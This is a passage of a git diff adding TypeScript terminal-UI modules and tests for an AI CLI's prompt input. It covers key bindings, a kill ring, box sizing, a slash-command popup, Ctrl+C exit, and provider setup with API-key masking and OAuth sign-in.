newline needs a chord of its own. + * Shift+Enter or Ctrl+Enter where the terminal reports the modifier, Ctrl+J + * (`linefeed`) everywhere else — terminals that don't negotiate the kitty + * keyboard protocol can't report Shift+Enter at all, so the fallback chords + * are what make this work in practice. Alt+Enter is left alone; the shell + * claims it for the steer action before the widget ever sees it. + */ +// Modifier-qualified entries lead: a first-match table would otherwise resolve +// Shift+Enter against the bare `return` submit binding and send the message. +export const PROMPT_KEY_BINDINGS = [ + { name: "return", shift: true, action: "newline" }, + { name: "kpenter", shift: true, action: "newline" }, + { name: "return", ctrl: true, action: "newline" }, + { name: "kpenter", ctrl: true, action: "newline" }, + { name: "linefeed", action: "newline" }, + { name: "return", action: "submit" }, + { name: "kpenter", action: "submit" }, +] as const satisfies TextareaOptions["keyBindings"] + +export type PromptInputOptions = Omit< + TextareaOptions, + "keyBindings" | "wrapMode" | "initialValue" +> + +export function createPromptInput( + ctx: CliRenderer, + options: PromptInputOptions, +): PromptInput { + const area = new TextareaRenderable(ctx, { + ...options, + // Soft-wrap on words: a long line uses the rows the box already has rather + // than scrolling sideways out of view. + wrapMode: "word", + keyBindings: [...PROMPT_KEY_BINDINGS], + }) + + Object.defineProperty(area, "value", { + get: (): string => area.plainText, + set: (next: string): void => { + if (area.plainText === next) return + area.setText(next) + area.cursorOffset = next.length + }, + enumerable: true, + configurable: true, + }) + + return area as PromptInput +} + +/** + * Where the caret sits among the buffer's wrapped rows, document-absolute. + * + * `visualCursor.visualRow` is viewport-relative, so it reads 0 whenever the + * caret is on the top visible row — including halfway down a scrolled buffer. + * Adding the scroll offset back gives the row the operator is actually on, + * which is what decides whether Up/Down moves the caret or recalls history. + */ +export function promptCaretRow(prompt: PromptInput): number { + return prompt.visualCursor.visualRow + prompt.scrollY +} + +/** + * Total wrapped rows the buffer occupies, however few of them are on screen. + * + * Read from the editor view's line table rather than `virtualLineCount`, which + * counts the rows currently in the viewport and so stops rising the moment the + * box hits its cap — the box would then never know it had more to show. The + * table is the same wrap the view paints and the same one the caret is measured + * against, so sizing and caret placement cannot drift apart. + */ +export function promptRowCount(prompt: PromptInput): number { + return Math.max(1, prompt.lineInfo.lineStartCols.length) +} + +/** Up recalls history only from here; anywhere else it moves the caret up. */ +export function promptCaretAtFirstRow(prompt: PromptInput): boolean { + return promptCaretRow(prompt) <= 0 +} + +/** Down recalls history only from here; anywhere else it moves the caret down. */ +export function promptCaretAtLastRow(prompt: PromptInput): boolean { + return promptCaretRow(prompt) >= promptRowCount(prompt) - 1 +} diff --git a/src/tui-opentui/prompt-kill-ring.test.ts b/src/tui-opentui/prompt-kill-ring.test.ts new file mode 100644 index 000000000..7af22a63a --- /dev/null +++ b/src/tui-opentui/prompt-kill-ring.test.ts @@ -0,0 +1,96 @@ +import { describe, expect, test } from "bun:test" +import { + beginYank, + breakKillSequence, + emptyKillRing, + killedTextBackward, + killedTextForward, + recordKill, + rotateYank, +} from "./prompt-kill-ring" + +describe("recordKill / beginYank", () => { + test("a single kill can be yanked back", () => { + const ring = recordKill(emptyKillRing, "world", "forward") + const yank = beginYank(ring, 5) + expect(yank).not.toBeNull() + expect(yank!.text).toBe("world") + }) + + test("consecutive forward kills accumulate in order", () => { + let ring = recordKill(emptyKillRing, "foo", "forward") + ring = recordKill(ring, "bar", "forward") + const yank = beginYank(ring, 0) + expect(yank!.text).toBe("foobar") + }) + + test("consecutive backward kills prepend so original order survives", () => { + let ring = recordKill(emptyKillRing, "bar", "backward") + ring = recordKill(ring, "foo", "backward") + const yank = beginYank(ring, 0) + expect(yank!.text).toBe("foobar") + }) + + test("a non-kill breaks accumulation: a later kill starts a fresh entry", () => { + let ring = recordKill(emptyKillRing, "foo", "forward") + ring = breakKillSequence(ring) + ring = recordKill(ring, "bar", "forward") + expect(ring.entries[0]).toBe("bar") + expect(ring.entries[1]).toBe("foo") + }) + + test("empty kill text is a no-op that still breaks the sequence", () => { + const ring = recordKill(emptyKillRing, "", "forward") + expect(ring).toEqual(emptyKillRing) + }) +}) + +describe("rotateYank", () => { + test("rotates to the next-older entry after a yank", () => { + let ring = recordKill(emptyKillRing, "second", "forward") + ring = recordKill(breakKillSequence(ring), "first", "forward") + const yank = beginYank(ring, 0)! + expect(yank.text).toBe("first") + const rotated = rotateYank(yank.ring) + expect(rotated).not.toBeNull() + expect(rotated!.text).toBe("second") + expect(rotated!.span).toEqual({ start: 0, end: 5 }) + }) + + test("returns null when the previous command was not a yank", () => { + const ring = recordKill(emptyKillRing, "text", "forward") + expect(rotateYank(ring)).toBeNull() + }) + + test("returns null when nothing has ever been killed", () => { + expect(rotateYank(emptyKillRing)).toBeNull() + }) + + test("wraps back to the first entry after cycling through all of them", () => { + let ring = recordKill(emptyKillRing, "b", "forward") + ring = recordKill(breakKillSequence(ring), "a", "forward") + const yank = beginYank(ring, 0)! + const once = rotateYank(yank.ring)! + expect(once.text).toBe("b") + const twice = rotateYank(once.ring)! + expect(twice.text).toBe("a") + }) +}) + +describe("killedTextForward / killedTextBackward", () => { + test("forward diff reads the removed slice starting at the cursor", () => { + expect(killedTextForward("hello world", 5, "hello")).toBe(" world") + }) + + test("forward diff is empty when the buffer did not shrink", () => { + expect(killedTextForward("hello", 2, "hello")).toBe("") + }) + + test("backward diff reads the removed slice ending at the old cursor", () => { + expect(killedTextBackward("hello world", 11, 6)).toBe("world") + }) + + test("backward diff is empty when the cursor did not move back", () => { + expect(killedTextBackward("hello", 3, 3)).toBe("") + }) +}) diff --git a/src/tui-opentui/prompt-kill-ring.ts b/src/tui-opentui/prompt-kill-ring.ts new file mode 100644 index 000000000..cc5819662 --- /dev/null +++ b/src/tui-opentui/prompt-kill-ring.ts @@ -0,0 +1,139 @@ +/** + * Readline-style kill ring for the OpenTUI prompt. + * + * The prompt's text buffer lives in `@opentui/core`'s InputRenderable, which + * already implements Ctrl+B/F/D, Ctrl+K/U/W (as one-shot deletes), Alt+D, + * arrow motion, and Alt+B/F word motion natively (see + * `defaultTextareaKeyBindings` in @opentui/core). What it does not have is a + * kill ring: deleted text is simply discarded, so Ctrl+Y (yank) and Alt+Y + * (yank-pop) have nothing to restore. + * + * This module is the pure, testable half of that gap: shell.ts calls the + * native delete methods on the InputRenderable (so column/width handling + * stays correct) and diffs the value/cursor before and after to learn what + * was removed, then hands that text to `recordKill`. `beginYank` and + * `rotateYank` hand back the text to splice in; shell.ts performs the splice + * against the InputRenderable directly. + * + * Mirrors the semantics of src/tui/kill-ring.ts (the Ink reference) without + * importing from it — the two prompt implementations are independent trees + * during the OpenTUI cutover. + */ + +export const KILL_RING_MAX = 10 + +export type YankSpan = { start: number; end: number } + +export type KillRing = { + /** Killed strings, most recent first. */ + entries: string[] + /** Ring entry inserted by the most recent yank; Alt+Y advances it. */ + yankIndex: number + lastAction: "kill-forward" | "kill-backward" | "yank" | "other" + /** Buffer span occupied by the last yank; null unless the previous command was a yank. */ + lastYankSpan: YankSpan | null +} + +export const emptyKillRing: KillRing = { + entries: [], + yankIndex: 0, + lastAction: "other", + lastYankSpan: null, +} + +/** Any command that is not a kill or yank ends accumulation and rotation. */ +export function breakKillSequence(ring: KillRing): KillRing { + if (ring.lastAction === "other" && ring.lastYankSpan === null) return ring + return { ...ring, lastAction: "other", lastYankSpan: null } +} + +// Consecutive kills grow a single ring entry the way readline does: forward +// kills append, backward kills prepend, so Ctrl+K Ctrl+K ... Ctrl+Y restores +// the killed region in original order. +export function recordKill( + ring: KillRing, + text: string, + direction: "forward" | "backward", +): KillRing { + if (text.length === 0) return breakKillSequence(ring) + const accumulating = + (ring.lastAction === "kill-forward" || ring.lastAction === "kill-backward") && + ring.entries.length > 0 + const entries = accumulating + ? [ + direction === "forward" ? ring.entries[0]! + text : text + ring.entries[0]!, + ...ring.entries.slice(1), + ] + : [text, ...ring.entries].slice(0, KILL_RING_MAX) + return { + entries, + yankIndex: 0, + lastAction: direction === "forward" ? "kill-forward" : "kill-backward", + lastYankSpan: null, + } +} + +/** Ctrl+Y: text to insert at the cursor, or null when nothing has been killed. */ +export function beginYank( + ring: KillRing, + cursor: number, +): { ring: KillRing; text: string } | null { + const index = ring.yankIndex < ring.entries.length ? ring.yankIndex : 0 + const text = ring.entries[index] + if (text === undefined) return null + return { + text, + ring: { + ...ring, + yankIndex: index, + lastAction: "yank", + lastYankSpan: { start: cursor, end: cursor + text.length }, + }, + } +} + +/** + * Alt+Y immediately after a yank: the caller replaces the returned span with + * the next-older kill. Rotation persists, so the next Ctrl+Y yanks that entry. + */ +export function rotateYank( + ring: KillRing, +): { ring: KillRing; span: YankSpan; text: string } | null { + if (ring.lastAction !== "yank" || ring.lastYankSpan === null) return null + if (ring.entries.length === 0) return null + const nextIndex = (ring.yankIndex + 1) % ring.entries.length + const text = ring.entries[nextIndex]! + const span = ring.lastYankSpan + return { + text, + span, + ring: { + ...ring, + yankIndex: nextIndex, + lastAction: "yank", + lastYankSpan: { start: span.start, end: span.start + text.length }, + }, + } +} + +/** + * Diff helper for forward kills (Ctrl+K, Alt+D): the cursor does not move + * when text is removed ahead of it, so the killed text is the slice of the + * pre-delete value starting at the pre-delete cursor, sized by however much + * the buffer shrank. + */ +export function killedTextForward(beforeValue: string, beforeCursor: number, afterValue: string): string { + const removedLen = beforeValue.length - afterValue.length + if (removedLen <= 0) return "" + return beforeValue.slice(beforeCursor, beforeCursor + removedLen) +} + +/** + * Diff helper for backward kills (Ctrl+U, Ctrl+W): the cursor moves back to + * where the deletion started, so the killed text is the slice of the + * pre-delete value between the new cursor and the old one. + */ +export function killedTextBackward(beforeValue: string, beforeCursor: number, afterCursor: number): string { + if (afterCursor >= beforeCursor) return "" + return beforeValue.slice(afterCursor, beforeCursor) +} diff --git a/src/tui-opentui/prompt-rows.test.ts b/src/tui-opentui/prompt-rows.test.ts new file mode 100644 index 000000000..1c6b3efee --- /dev/null +++ b/src/tui-opentui/prompt-rows.test.ts @@ -0,0 +1,54 @@ +import { describe, expect, test } from "bun:test" + +import { + PROMPT_BASE_ROWS, + PROMPT_BORDER_ROWS, + PROMPT_CAP_FRACTION, + PROMPT_IDLE_INPUT_ROWS, + PROMPT_IDLE_ROWS, +} from "./geometry/index.js" +import { + promptBoxCapRows, + promptBoxRows, + promptInputRows, + promptIsScrolling, +} from "./prompt-rows.js" + +describe("prompt box sizing", () => { + test("an empty prompt still offers a composing area", () => { + for (const rows of [24, 30, 40, 60]) { + expect(promptInputRows(0, rows)).toBe(PROMPT_IDLE_INPUT_ROWS) + expect(promptBoxRows(1, rows)).toBe(PROMPT_IDLE_ROWS) + } + }) + + test("the box grows a row per wrapped line past the resting size", () => { + expect(promptInputRows(4, 40)).toBe(4) + expect(promptInputRows(7, 40)).toBe(7) + expect(promptBoxRows(7, 40)).toBe(9) + }) + + test("growth stops at the cap fraction of the terminal", () => { + for (const rows of [24, 30, 40, 60, 120]) { + const cap = Math.floor(rows * PROMPT_CAP_FRACTION) + expect(promptBoxRows(1000, rows)).toBe(cap) + expect(promptBoxRows(1000, rows)).toBe(promptBoxCapRows(rows)) + } + }) + + test("content past the cap scrolls inside the box instead of growing it", () => { + const rows = 24 + const cap = promptBoxCapRows(rows) - PROMPT_BORDER_ROWS + expect(promptIsScrolling(cap, rows)).toBe(false) + expect(promptIsScrolling(cap + 1, rows)).toBe(true) + expect(promptInputRows(cap + 50, rows)).toBe(cap) + }) + + test("a very short terminal falls back to the base box, never below it", () => { + for (const rows of [4, 6, 8, 10]) { + expect(promptBoxRows(0, rows)).toBeGreaterThanOrEqual(PROMPT_BASE_ROWS) + expect(promptBoxRows(50, rows)).toBeGreaterThanOrEqual(PROMPT_BASE_ROWS) + } + expect(promptBoxRows(50, 6)).toBe(PROMPT_BASE_ROWS) + }) +}) diff --git a/src/tui-opentui/prompt-rows.ts b/src/tui-opentui/prompt-rows.ts new file mode 100644 index 000000000..170ab3b9c --- /dev/null +++ b/src/tui-opentui/prompt-rows.ts @@ -0,0 +1,62 @@ +/** + * How tall the prompt box is for what is being composed. + * + * Three rules, in order of precedence: + * + * 1. The box never shrinks below its resting size — an empty prompt still + * offers PROMPT_IDLE_INPUT_ROWS lines, so there is somewhere to write and so + * the first typed line does not sit against the animated mark in the bottom + * rule. + * 2. It grows a row per visual line of content, so a longer prompt is visible + * while it is being written rather than scrolling under itself immediately. + * 3. It stops at PROMPT_CAP_FRACTION of the terminal. Past that the input + * scrolls internally (OpenTUI's editor view follows the caret), because rows + * spent here come straight out of the transcript. + * + * The resolver has the last word on a short terminal: it collapses the box back + * toward PROMPT_BASE_ROWS when the transcript would otherwise breach its floor. + * Reading the transcript matters more than seeing the whole draft at once. + * + * Pure: line counts in, rows out. The caller measures the wrapped line count + * (OpenTUI's editor view already does the wrapping, including surrogate pairs + * and wide glyphs) and applies the result. + */ + +import { + PROMPT_BASE_ROWS, + PROMPT_BORDER_ROWS, + PROMPT_CAP_FRACTION, + PROMPT_IDLE_INPUT_ROWS, +} from "./geometry/index.js" + +/** Tallest bordered box the prompt may ask for on a terminal of `rows` rows. */ +export function promptBoxCapRows(terminalRows: number): number { + const rows = Math.max(1, Math.floor(terminalRows)) + return Math.max(PROMPT_BASE_ROWS, Math.floor(rows * PROMPT_CAP_FRACTION)) +} + +/** Input rows to show for `visualLines` of wrapped content. */ +export function promptInputRows( + visualLines: number, + terminalRows: number, +): number { + const wanted = Math.max(PROMPT_IDLE_INPUT_ROWS, Math.floor(visualLines)) + const cap = promptBoxCapRows(terminalRows) - PROMPT_BORDER_ROWS + return Math.max(1, Math.min(wanted, cap)) +} + +/** Bordered box rows to request from the geometry resolver. */ +export function promptBoxRows( + visualLines: number, + terminalRows: number, +): number { + return promptInputRows(visualLines, terminalRows) + PROMPT_BORDER_ROWS +} + +/** True once the content no longer fits and the input is scrolling itself. */ +export function promptIsScrolling( + visualLines: number, + terminalRows: number, +): boolean { + return Math.floor(visualLines) > promptInputRows(visualLines, terminalRows) +} diff --git a/src/tui-opentui/prompt-slash-exit.test.ts b/src/tui-opentui/prompt-slash-exit.test.ts new file mode 100644 index 000000000..dd4ab6c3f --- /dev/null +++ b/src/tui-opentui/prompt-slash-exit.test.ts @@ -0,0 +1,221 @@ +/** + * Integration: `/` command popup and the double Ctrl+C exit, both driven + * through the wired key path on a headless shell. + */ +import { describe, expect, test } from "bun:test" + +import { withTestRenderer } from "./harness" +import type { PaletteCommand } from "./palette" +import { + CTRL_C_EXIT_WINDOW_MS, + createAppShell, + handleCtrlC, + isSlashPopupOpen, + noticeText, + setShellExitHandler, + setShellRunState, + setStatusFlash, + type AppShell, +} from "./shell" + +const CATALOG: readonly PaletteCommand[] = [ + { id: "model", label: "/model — switch model", dispatch: "command" }, + { id: "mcp", label: "/mcp — manage MCP servers", dispatch: "command" }, + { id: "compact", label: "/compact — compact history", dispatch: "command" }, +] + +type Ctx = { + readonly shell: AppShell + readonly dispatched: string[] + readonly press: (key: string) => void + readonly render: () => Promise +} + +function withShell(fn: (ctx: Ctx) => Promise): Promise { + return withTestRenderer( + async (h) => { + const dispatched: string[] = [] + const shell = createAppShell(h.renderer, { + terminal: { columns: 80, rows: 24 }, + wireKeys: true, + run: "idle", + paletteCatalog: CATALOG, + onCommand: (name) => dispatched.push(name), + }) + try { + await fn({ + shell, + dispatched, + press: (key) => h.pressKey(key as Parameters[0]), + render: h.renderOnce, + }) + } finally { + shell.dispose() + } + }, + { width: 80, height: 24 }, + ) +} + +describe("slash command popup", () => { + test("typing / at an empty prompt opens the command list", async () => { + await withShell(async ({ shell, press, render }) => { + press("/") + await render() + expect(shell.prompt.value).toBe("/") + expect(shell.overlayKind).toBe("palette") + expect(isSlashPopupOpen(shell)).toBe(true) + expect(shell.paletteCommands).toHaveLength(CATALOG.length) + }) + }) + + test("further characters filter the list", async () => { + await withShell(async ({ shell, press }) => { + press("/") + press("m") + expect(shell.prompt.value).toBe("/m") + expect(shell.paletteCommands.map((c) => c.id)).toEqual(["model", "mcp"]) + press("o") + expect(shell.prompt.value).toBe("/mo") + expect(shell.paletteCommands.map((c) => c.id)).toEqual(["model"]) + }) + }) + + test("backspace widens the filter again", async () => { + await withShell(async ({ shell, press }) => { + press("/") + press("m") + press("o") + press("Backspace") + expect(shell.prompt.value).toBe("/m") + expect(shell.paletteCommands.map((c) => c.id)).toEqual(["model", "mcp"]) + }) + }) + + test("Esc cancels and leaves the typed text intact", async () => { + await withShell(async ({ shell, press, render }) => { + press("/") + press("m") + press("Escape") + // A bare ESC is held by the input parser until it cannot be a sequence. + await render() + await Bun.sleep(60) + expect(isSlashPopupOpen(shell)).toBe(false) + expect(shell.overlayList).toBeNull() + expect(shell.prompt.value).toBe("/m") + }) + }) + + test("Enter dispatches through the registry command path", async () => { + await withShell(async ({ shell, dispatched, press }) => { + press("/") + press("m") + press("o") + press("Enter") + expect(dispatched).toEqual(["model"]) + expect(shell.prompt.value).toBe("") + expect(shell.overlayList).toBeNull() + }) + }) + + test("Tab completes the name so arguments can be typed", async () => { + await withShell(async ({ shell, dispatched, press }) => { + press("/") + press("m") + press("c") + press("Tab") + expect(dispatched).toEqual([]) + expect(shell.prompt.value).toBe("/mcp ") + expect(isSlashPopupOpen(shell)).toBe(false) + }) + }) + + test("a space closes the popup and keeps the prompt editable", async () => { + await withShell(async ({ shell, press }) => { + press("/") + press("m") + press("c") + press("p") + press(" ") + expect(shell.prompt.value).toBe("/mcp ") + expect(isSlashPopupOpen(shell)).toBe(false) + }) + }) + + test("/ mid-prompt is a literal character", async () => { + await withShell(async ({ shell, press }) => { + press("s") + press("r") + press("c") + press("/") + expect(isSlashPopupOpen(shell)).toBe(false) + expect(shell.prompt.value).toBe("src/") + }) + }) +}) + +describe("Ctrl+C exit", () => { + test("first press interrupts a busy run, second exits via the handler", async () => { + await withShell(async ({ shell, press }) => { + setShellRunState(shell, "busy") + let exits = 0 + setShellExitHandler(shell, () => { + exits += 1 + }) + press("Ctrl+C") + expect(exits).toBe(0) + expect(shell.session.run).not.toBe("busy") + press("Ctrl+C") + expect(exits).toBe(1) + }) + }) + + test("the exit notice clears itself when the arming window lapses", async () => { + await withShell(async ({ shell }) => { + const lapse: (() => void)[] = [] + handleCtrlC(shell, 0, { + schedule: (fn, ms) => { + expect(ms).toBe(CTRL_C_EXIT_WINDOW_MS) + lapse.push(fn) + return () => {} + }, + }) + expect(shell.statusFlash).toBe("press ctrl+c again to exit") + expect(noticeText(shell)).toContain("press ctrl+c again to exit") + + lapse[0]?.() + expect(shell.statusFlash).toBeNull() + // The row has nothing left to say, so it is given back to the transcript. + expect(noticeText(shell)).toBe("") + }) + }) + + test("a lapsed window never clears a flash set after it", async () => { + await withShell(async ({ shell }) => { + const lapse: (() => void)[] = [] + handleCtrlC(shell, 0, { + schedule: (fn) => { + lapse.push(fn) + return () => {} + }, + }) + setStatusFlash(shell, "copied 3 lines") + lapse[0]?.() + expect(shell.statusFlash).toBe("copied 3 lines") + }) + }) + + test("a press outside the window re-arms instead of exiting", async () => { + await withShell(async ({ shell }) => { + let exits = 0 + setShellExitHandler(shell, () => { + exits += 1 + }) + handleCtrlC(shell, 0) + handleCtrlC(shell, CTRL_C_EXIT_WINDOW_MS + 1) + expect(exits).toBe(0) + handleCtrlC(shell, CTRL_C_EXIT_WINDOW_MS + 2) + expect(exits).toBe(1) + }) + }) +}) diff --git a/src/tui-opentui/provider-connect.ts b/src/tui-opentui/provider-connect.ts new file mode 100644 index 000000000..e1e20e497 --- /dev/null +++ b/src/tui-opentui/provider-connect.ts @@ -0,0 +1,100 @@ +/** + * Inline "connect →" flow for the model picker's not-connected providers. + * Extracted wiring around provider-setup's existing full-screen setup surface + * (key entry + OAuth login, with its timeout/cancel/failure handling already + * implemented there) — reused via `initialProviderId`, not reimplemented. + */ + +import { + mergeProviderIntoSettings, + saveGlobalSettings, + saveLocalSettings, + type Settings, +} from "../config/settings.js" +import { validateProviderConnection } from "../provider/validate-connection.js" +import { runProviderSetup, type ProviderSetupConfig } from "./provider-setup.js" + +export type ConnectProviderInput = { + readonly providerId: string + readonly settingsPath: string + readonly localSettingsPath: string + readonly cwd: string + readonly existing: Settings | null + readonly createRenderer?: ProviderSetupConfig["createRenderer"] + readonly startLogin?: ProviderSetupConfig["startLogin"] +} + +export type ConnectProviderResult = { + readonly connected: boolean + /** Settings/catalog provider name to select once connected (may differ from `providerId` for OAuth). */ + readonly providerName?: string + readonly model?: string +} + +/** + * Runs the extracted setup surface pinned to one provider and persists the + * result exactly the way first-run onboarding does. Resolves `connected: + * false` on cancel (Ctrl+C/Ctrl+D) without writing anything. + */ +export async function connectProviderInline( + input: ConnectProviderInput, +): Promise { + let result: ConnectProviderResult = { connected: false } + + const submitted = await runProviderSetup({ + showTelemetryNotice: false, + initialProviderId: input.providerId, + ...(input.createRenderer !== undefined ? { createRenderer: input.createRenderer } : {}), + ...(input.startLogin !== undefined ? { startLogin: input.startLogin } : {}), + onSubmit: async (values, setPhase, { skipValidation, preset, oauth }) => { + const { name, baseURL, apiKey, model } = values + const providerName = name.trim() + const trimmedBaseURL = baseURL.trim() + const trimmedKey = apiKey.trim() + + if (oauth !== undefined) { + setPhase("saving") + const base = input.existing ?? { providers: {} } + await saveGlobalSettings(input.settingsPath, { + ...base, + defaultProvider: oauth.providerName, + }) + await saveLocalSettings(input.localSettingsPath, { + provider: oauth.providerName, + model: model.trim(), + }) + result = { connected: true, providerName: oauth.providerName, model: model.trim() } + return + } + + if (!skipValidation && preset?.anthropic !== true) { + const check = await validateProviderConnection({ + baseURL: trimmedBaseURL, + apiKey: trimmedKey.length > 0 ? trimmedKey : undefined, + }) + if (!check.ok) throw new Error(check.error) + } + + setPhase("saving") + const selectedModel = model.trim() + const models = + preset !== undefined && preset.models.includes(selectedModel) + ? [...preset.models] + : [selectedModel] + const newProvider = { + baseURL: trimmedBaseURL, + models, + defaultModel: selectedModel, + ...(trimmedKey.length > 0 ? { apiKey: trimmedKey } : { keyless: true }), + ...(preset?.anthropic === true ? { anthropic: true } : {}), + ...(preset?.opencodeGo === true ? { opencodeGo: true } : {}), + } + const merged = mergeProviderIntoSettings(input.existing, providerName, newProvider) + await saveGlobalSettings(input.settingsPath, merged) + result = { connected: true, providerName, model: selectedModel } + }, + }) + + if (!submitted) return { connected: false } + return result +} diff --git a/src/tui-opentui/provider-setup.test.ts b/src/tui-opentui/provider-setup.test.ts new file mode 100644 index 000000000..d8dad1ee9 --- /dev/null +++ b/src/tui-opentui/provider-setup.test.ts @@ -0,0 +1,695 @@ +import { describe, expect, test } from "bun:test" + +import { createHarness, type Harness } from "./harness.js" +import { + CUSTOM_CHOICE_ID, + failureGuidance, + LOGIN_CANCELLED_MESSAGE, + LOGIN_TIMEOUT_MESSAGE, + maskEcho, + maskSecret, + modelChoiceRows, + modelFromRowId, + providerChoiceById, + providerChoiceRows, + providerChoices, + runProviderSetup, + secretFromMaskedEdit, + stepHeadline, + stepReady, + stepsFor, + summaryRows, + TYPE_MODEL_ID, + type OAuthLoginStarter, + type ProviderFormValues, + type ProviderSetupSubmit, + type SubmitOpts, +} from "./provider-setup.js" + +const EMPTY: ProviderFormValues = { + name: "", + baseURL: "", + apiKey: "", + model: "", +} + +describe("provider setup pure helpers", () => { + test("only the API key may be left blank", () => { + expect(stepReady("name", "")).toBe(false) + expect(stepReady("name", " ")).toBe(false) + expect(stepReady("name", "openai")).toBe(true) + expect(stepReady("apiKey", "")).toBe(true) + }) + + test("secrets render as capped bullets", () => { + expect(maskSecret("sk-abc")).toBe("●●●●●●") + expect(maskSecret("x".repeat(50))).toHaveLength(16) + }) + + test("keys of any length round-trip through the input echo", () => { + // Mirrors onInput: each keystroke folds the echo back into the secret, + // then the input is re-mirrored as bullets. + const typeKey = (key: string): string => { + let secret = "" + let display = "" + for (const ch of key) { + display = display + ch + secret = secretFromMaskedEdit(secret, display) + display = maskEcho(secret) + } + return secret + } + expect(typeKey("sk-abc")).toBe("sk-abc") + const long = "sk-proj-abcdefghijklmnopqrstuvwxyz0123456789" + expect(typeKey(long)).toBe(long) + }) + + test("masked edits fold back into the real secret", () => { + let secret = "" + secret = secretFromMaskedEdit(secret, "s") + secret = secretFromMaskedEdit(secret, "●k") + expect(secret).toBe("sk") + expect(secretFromMaskedEdit(secret, "●")).toBe("s") + expect(secretFromMaskedEdit(secret, "")).toBe("") + }) + + test("a picked provider takes three steps, custom takes five", () => { + const openai = providerChoiceById("openai") + expect(openai?.baseURL).toBe("https://api.openai.com/v1") + expect(stepsFor(openai ?? null)).toEqual(["provider", "apiKey", "model"]) + // A subscription provider swaps the paste for a sign-in, same three steps. + expect(stepsFor(providerChoiceById("codex") ?? null)).toEqual([ + "provider", + "login", + "model", + ]) + expect(stepsFor(providerChoiceById(CUSTOM_CHOICE_ID) ?? null)).toEqual([ + "provider", + "name", + "baseURL", + "apiKey", + "model", + ]) + }) + + test("the pick-list carries known providers and ends with custom", () => { + const choices = providerChoices() + const ids = choices.map((c) => c.id) + expect(ids).toContain("openai") + expect(ids).toContain("opencode-go") + expect(ids).toContain("anthropic") + expect(ids.at(-1)).toBe(CUSTOM_CHOICE_ID) + // Subscription providers are pickable on a first run: their step is a + // browser sign-in rather than a paste, not an exclusion. + expect(ids).toContain("codex") + expect(ids).toContain("xai") + for (const choice of choices) { + if (choice.custom) continue + expect(choice.baseURL.length).toBeGreaterThan(0) + expect(choice.defaultModel.length).toBeGreaterThan(0) + } + expect(providerChoiceRows(choices)[0]?.label).toContain("OpenAI") + }) + + test("model rows come from the provider catalog plus a free-text escape", () => { + const openai = providerChoiceById("openai") + expect(openai).toBeDefined() + if (openai === undefined) return + const rows = modelChoiceRows(openai) + expect(rows.map((r) => r.id)).toContain(`openai:${openai.defaultModel}`) + expect(rows.at(-1)?.id).toBe(TYPE_MODEL_ID) + expect(modelFromRowId("openai", "openai:gpt-5.4")).toBe("gpt-5.4") + }) + + test("step headline names the step and how many remain", () => { + expect(stepHeadline(["provider", "apiKey", "model"], 0)).toBe( + "step 1 of 3 · provider", + ) + expect(stepHeadline(["provider", "apiKey", "model"], 2)).toBe( + "step 3 of 3 · model", + ) + }) + + test("summary rows mark done, current, and pending steps", () => { + const values: ProviderFormValues = { ...EMPTY, name: "openai" } + const choice = providerChoiceById("openai") ?? null + const rows = summaryRows(["provider", "apiKey", "model"], 1, values, choice) + expect(rows[0]).toMatchObject({ state: "done", value: "OpenAI API — API key" }) + expect(rows[1]?.state).toBe("current") + expect(rows[2]).toMatchObject({ state: "pending", value: "—" }) + }) + + test("the API key never appears in a summary row", () => { + const values: ProviderFormValues = { ...EMPTY, apiKey: "sk-secret" } + const rows = summaryRows(["provider", "apiKey", "model"], 2, values, null) + const line = rows[1]?.value ?? "" + expect(line).not.toContain("sk-secret") + expect(line).toContain("●") + }) + + test("a blank key is summarized as keyless", () => { + const rows = summaryRows(["provider", "apiKey", "model"], 2, EMPTY, null) + expect(rows[1]?.value).toBe("keyless") + }) + + test("failures say what to fix", () => { + expect(failureGuidance("testing", null)).toContain("base url") + expect(failureGuidance("saving", null)).toContain("settings could not be written") + }) +}) + +async function mountSetup( + onSubmit: ProviderSetupSubmit = async () => {}, + showTelemetryNotice = false, +): Promise<{ done: Promise; harness: Harness }> { + const harness = await createHarness({ width: 80, height: 30 }) + const done = runProviderSetup({ + onSubmit, + showTelemetryNotice, + createRenderer: async () => harness.renderer, + }) + await harness.renderOnce() + return { done, harness } +} + +function type(harness: Harness, text: string): void { + for (const ch of text) harness.pressKey(ch) +} + +/** ESC needs a disambiguation delay on the mock stdin path. */ +async function pressEscape(harness: Harness): Promise { + harness.pressKey("Escape") + await new Promise((r) => setTimeout(r, 60)) + await harness.renderOnce() +} + +/** Move the pick-list to `id`, then accept it. */ +async function pickRow( + harness: Harness, + ids: readonly string[], + id: string, +): Promise { + const target = ids.indexOf(id) + for (let i = 0; i < target; i++) harness.pressKey("ARROW_DOWN") + harness.pressKey("Enter") + await harness.renderOnce() +} + +const PROVIDER_IDS = providerChoiceRows().map((r) => r.id) + +/** Pick OpenAI, type a key, accept its default model. */ +async function connectOpenAI(harness: Harness, key = "sk-key"): Promise { + await pickRow(harness, PROVIDER_IDS, "openai") + type(harness, key) + harness.pressKey("Enter") + await harness.renderOnce() + harness.pressKey("Enter") + await harness.renderOnce() +} + +/** Walk the custom path end to end. */ +async function connectCustom(harness: Harness): Promise { + await pickRow(harness, PROVIDER_IDS, CUSTOM_CHOICE_ID) + type(harness, "firepass") + harness.pressKey("Enter") + type(harness, "https://api.example.com") + harness.pressKey("Enter") + type(harness, "sk-key") + harness.pressKey("Enter") + type(harness, "fp-small") + harness.pressKey("Enter") + await harness.renderOnce() +} + +const AUTHORIZE_URL = "https://auth.example.com/authorize?code_challenge=abc" + +/** Let queued promise callbacks land, then repaint. */ +async function flush(harness: Harness): Promise { + await new Promise((r) => setTimeout(r, 0)) + await harness.renderOnce() +} + +/** + * Mount with an injected login driver. No test may open a browser or bind a + * port, so the real PKCE/loopback path is never reached from here. + */ +async function mountLogin(opts: { + start: OAuthLoginStarter + onSubmit?: ProviderSetupSubmit + loginTimeoutMs?: number +}): Promise<{ done: Promise; harness: Harness }> { + const harness = await createHarness({ width: 80, height: 30 }) + const done = runProviderSetup({ + onSubmit: opts.onSubmit ?? (async () => {}), + showTelemetryNotice: false, + createRenderer: async () => harness.renderer, + startLogin: opts.start, + ...(opts.loginTimeoutMs !== undefined + ? { loginTimeoutMs: opts.loginTimeoutMs } + : {}), + }) + await harness.renderOnce() + return { done, harness } +} + +describe("runProviderSetup sign-in", () => { + test("a subscription provider signs in in place and persists the selection", async () => { + const seen: ProviderFormValues[] = [] + const opts: SubmitOpts[] = [] + let complete: (result: { profile: string }) => void = () => {} + const { done, harness } = await mountLogin({ + start: async ({ kind, profile }) => { + 